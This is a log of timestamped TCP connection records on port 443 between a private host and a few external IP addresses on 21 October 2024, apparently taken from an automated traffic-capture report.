Oct 21, 2024 13:17:20.169775009 CEST	443	49748	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:20.169780016 CEST	49748	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:20.169785023 CEST	443	49748	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:20.169816971 CEST	443	49749	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:20.169833899 CEST	443	49752	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:20.170075893 CEST	443	49752	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:20.170130014 CEST	443	49749	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:20.170151949 CEST	49752	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:20.170181990 CEST	49749	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:20.170221090 CEST	49749	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:20.170221090 CEST	49749	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:20.170239925 CEST	443	49749	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:20.170252085 CEST	443	49749	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:20.170442104 CEST	49752	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:20.170459032 CEST	443	49752	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:20.170469999 CEST	49752	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:20.170475006 CEST	443	49752	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:20.172648907 CEST	49754	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:20.172687054 CEST	49753	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:20.172691107 CEST	443	49754	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:20.172724962 CEST	443	49753	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:20.172770023 CEST	49754	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:20.172808886 CEST	49753	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:20.172931910 CEST	49754	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:20.172964096 CEST	443	49754	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:20.173019886 CEST	49753	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:20.173043966 CEST	443	49753	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:20.173623085 CEST	49755	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:20.173638105 CEST	443	49755	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:20.173728943 CEST	49755	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:20.173774004 CEST	49755	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:20.173779011 CEST	443	49755	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:20.178183079 CEST	443	49751	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:20.178256035 CEST	443	49751	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:20.178359032 CEST	49751	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:20.178411961 CEST	49751	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:20.178411961 CEST	49751	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:20.178426981 CEST	443	49751	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:20.178442001 CEST	443	49751	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:20.181011915 CEST	49756	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:20.181047916 CEST	443	49756	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:20.181123972 CEST	49756	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:20.181246042 CEST	49756	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:20.181257963 CEST	443	49756	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:20.203996897 CEST	443	49750	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:20.204062939 CEST	443	49750	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:20.204107046 CEST	49750	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:20.204227924 CEST	49750	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:20.204236031 CEST	443	49750	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:20.204246044 CEST	49750	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:20.204248905 CEST	443	49750	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:20.206856012 CEST	49757	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:20.206891060 CEST	443	49757	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:20.206985950 CEST	49757	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:20.207109928 CEST	49757	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:20.207127094 CEST	443	49757	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:20.288136959 CEST	49676	443	192.168.2.9	23.206.229.209
Oct 21, 2024 13:17:20.288156986 CEST	49675	443	192.168.2.9	23.206.229.209
Oct 21, 2024 13:17:20.422435999 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:20.422447920 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:20.422491074 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:20.422516108 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:20.422544003 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:20.422561884 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:20.422566891 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:20.422605991 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:20.422653913 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:20.475717068 CEST	49674	443	192.168.2.9	23.206.229.209
Oct 21, 2024 13:17:20.689132929 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:20.689152002 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:20.689253092 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:20.689275980 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:20.689325094 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:20.913391113 CEST	443	49756	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:20.913924932 CEST	49756	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:20.913944960 CEST	443	49756	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:20.914108038 CEST	443	49754	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:20.914377928 CEST	49754	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:20.914438009 CEST	443	49754	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:20.914516926 CEST	49756	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:20.914530993 CEST	443	49756	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:20.914746046 CEST	49754	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:20.914761066 CEST	443	49754	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:20.918463945 CEST	443	49753	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:20.918848991 CEST	49753	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:20.918868065 CEST	443	49753	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:20.919190884 CEST	49753	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:20.919198036 CEST	443	49753	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:20.927891970 CEST	443	49757	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:20.928247929 CEST	49757	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:20.928267002 CEST	443	49757	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:20.928605080 CEST	49757	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:20.928613901 CEST	443	49757	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:20.932050943 CEST	443	49755	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:20.932473898 CEST	49755	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:20.932488918 CEST	443	49755	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:20.932847023 CEST	49755	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:20.932854891 CEST	443	49755	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:20.957016945 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:20.957037926 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:20.957165003 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:20.957189083 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:20.957246065 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:20.957730055 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:20.957746029 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:20.957793951 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:20.957803011 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:20.957828999 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:20.957844973 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:21.042825937 CEST	443	49756	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.043899059 CEST	443	49756	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.044047117 CEST	49756	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.045593977 CEST	443	49754	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.045655966 CEST	443	49754	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.045733929 CEST	49754	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.050000906 CEST	49756	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.050000906 CEST	49756	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.050041914 CEST	443	49756	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.050052881 CEST	443	49756	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.050941944 CEST	49754	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.050995111 CEST	443	49754	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.051028967 CEST	49754	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.051048040 CEST	443	49754	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.051615000 CEST	443	49753	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.051676035 CEST	443	49753	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.051731110 CEST	49753	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.052103996 CEST	49753	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.052122116 CEST	443	49753	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.052134037 CEST	49753	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.052140951 CEST	443	49753	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.054368019 CEST	49758	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.054397106 CEST	443	49758	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.054666042 CEST	49758	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.054771900 CEST	49759	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.054811954 CEST	443	49759	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.054833889 CEST	49758	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.054843903 CEST	443	49758	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.054873943 CEST	49759	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.055005074 CEST	49759	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.055011988 CEST	443	49759	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.055422068 CEST	49760	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.055463076 CEST	443	49760	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.055512905 CEST	49760	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.055708885 CEST	49760	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.055721045 CEST	443	49760	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.057379007 CEST	443	49757	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.057509899 CEST	443	49757	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.057574034 CEST	49757	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.057605028 CEST	49757	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.057617903 CEST	443	49757	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.057626009 CEST	49757	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.057631016 CEST	443	49757	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.059786081 CEST	49761	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.059824944 CEST	443	49761	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.059887886 CEST	49761	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.060035944 CEST	49761	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.060050011 CEST	443	49761	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.066065073 CEST	443	49755	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.066200972 CEST	443	49755	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.066251993 CEST	49755	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.066344976 CEST	49755	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.066356897 CEST	443	49755	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.066373110 CEST	49755	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.066378117 CEST	443	49755	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.069298029 CEST	49762	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.069335938 CEST	443	49762	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.069408894 CEST	49762	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.069538116 CEST	49762	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.069550037 CEST	443	49762	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.224908113 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:21.224946976 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:21.225009918 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:21.225024939 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:21.225069046 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:21.225089073 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:21.225869894 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:21.225887060 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:21.225950956 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:21.225956917 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:21.226001024 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:21.493505955 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:21.493516922 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:21.493550062 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:21.493583918 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:21.493598938 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:21.493635893 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:21.761229992 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:21.761240005 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:21.761331081 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:21.761332989 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:21.761360884 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:21.761390924 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:21.761409998 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:21.761933088 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:21.761948109 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:21.762010098 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:21.762016058 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:21.762058020 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:21.792875051 CEST	443	49761	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.793359995 CEST	49761	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.793394089 CEST	443	49761	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.793813944 CEST	49761	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.793818951 CEST	443	49761	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.801781893 CEST	443	49759	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.802145958 CEST	49759	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.802164078 CEST	443	49759	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.802963972 CEST	49759	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.802968025 CEST	443	49759	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.804023981 CEST	443	49758	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.804339886 CEST	49758	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.804364920 CEST	443	49758	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.804843903 CEST	49758	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.804850101 CEST	443	49758	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.805038929 CEST	443	49760	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.805305004 CEST	49760	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.805321932 CEST	443	49760	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.805669069 CEST	49760	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.805675030 CEST	443	49760	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.809988976 CEST	443	49762	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.810290098 CEST	49762	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.810297966 CEST	443	49762	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.810673952 CEST	49762	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.810678959 CEST	443	49762	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.924648046 CEST	443	49761	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.924973965 CEST	443	49761	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.925158024 CEST	49761	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.925158024 CEST	49761	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.925158024 CEST	49761	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.927517891 CEST	49763	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.927551031 CEST	443	49763	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.927623034 CEST	49763	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.927742004 CEST	49763	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.927756071 CEST	443	49763	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.935067892 CEST	443	49759	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.935163021 CEST	443	49759	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.935225964 CEST	49759	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.935359001 CEST	49759	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.935375929 CEST	443	49759	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.935950994 CEST	49759	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.935956001 CEST	443	49759	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.938278913 CEST	49764	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.938325882 CEST	443	49764	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.938405991 CEST	49764	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.938539982 CEST	49764	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.938555002 CEST	443	49764	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.939718962 CEST	443	49758	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.940035105 CEST	443	49758	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.940093994 CEST	49758	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.940123081 CEST	49758	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.940148115 CEST	443	49758	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.940157890 CEST	49758	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.940164089 CEST	443	49758	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.941951036 CEST	49765	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.941986084 CEST	443	49765	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.942133904 CEST	49765	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.942173004 CEST	49765	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.942184925 CEST	443	49765	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.944957972 CEST	443	49762	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.945045948 CEST	443	49762	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.945101976 CEST	49762	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.945138931 CEST	49762	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.945138931 CEST	49762	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.945157051 CEST	443	49762	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.945168972 CEST	443	49762	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.946826935 CEST	49766	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.946851969 CEST	443	49766	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.946918964 CEST	49766	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.947030067 CEST	49766	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.947041035 CEST	443	49766	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.985748053 CEST	443	49760	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.986257076 CEST	443	49760	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.986486912 CEST	49760	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.986515999 CEST	49760	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.986534119 CEST	443	49760	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.986545086 CEST	49760	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.986550093 CEST	443	49760	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.989312887 CEST	49767	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.989340067 CEST	443	49767	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:21.989548922 CEST	49767	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.989548922 CEST	49767	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:21.989579916 CEST	443	49767	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:22.225620985 CEST	49761	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:22.225647926 CEST	443	49761	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:22.262655973 CEST	443	49704	23.206.229.209	192.168.2.9
Oct 21, 2024 13:17:22.262784004 CEST	49704	443	192.168.2.9	23.206.229.209
Oct 21, 2024 13:17:22.297238111 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:22.297250986 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:22.297290087 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:22.297312975 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:22.297332048 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:22.297360897 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:22.297379017 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:22.297616005 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:22.297632933 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:22.297669888 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:22.297677040 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:22.297688961 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:22.297713041 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:22.298790932 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:22.298806906 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:22.298861980 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:22.298867941 CEST	443	49732	103.159.36.18	192.168.2.9
Oct 21, 2024 13:17:22.298908949 CEST	49732	443	192.168.2.9	103.159.36.18
Oct 21, 2024 13:17:22.668118954 CEST	443	49764	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:22.668777943 CEST	49764	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:22.668812037 CEST	443	49764	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:22.669739008 CEST	49764	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:22.669744968 CEST	443	49764	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:22.677093983 CEST	443	49765	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:22.678195000 CEST	49765	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:22.678222895 CEST	443	49765	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:22.678555965 CEST	49765	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:22.678561926 CEST	443	49765	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:22.678940058 CEST	443	49763	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:22.679389954 CEST	49763	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:22.679423094 CEST	443	49763	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:22.679786921 CEST	49763	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:22.679792881 CEST	443	49763	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:22.691863060 CEST	443	49766	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:22.692522049 CEST	49766	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:22.692562103 CEST	443	49766	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:22.692826986 CEST	49766	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:22.692835093 CEST	443	49766	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:22.709252119 CEST	443	49767	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:22.709897041 CEST	49767	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:22.709904909 CEST	443	49767	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:22.710601091 CEST	49767	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:22.710607052 CEST	443	49767	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:22.797795057 CEST	443	49764	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:22.797954082 CEST	443	49764	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:22.798146963 CEST	49764	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:22.798224926 CEST	49764	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:22.798249006 CEST	443	49764	13.107.246.45	192.168.2.9
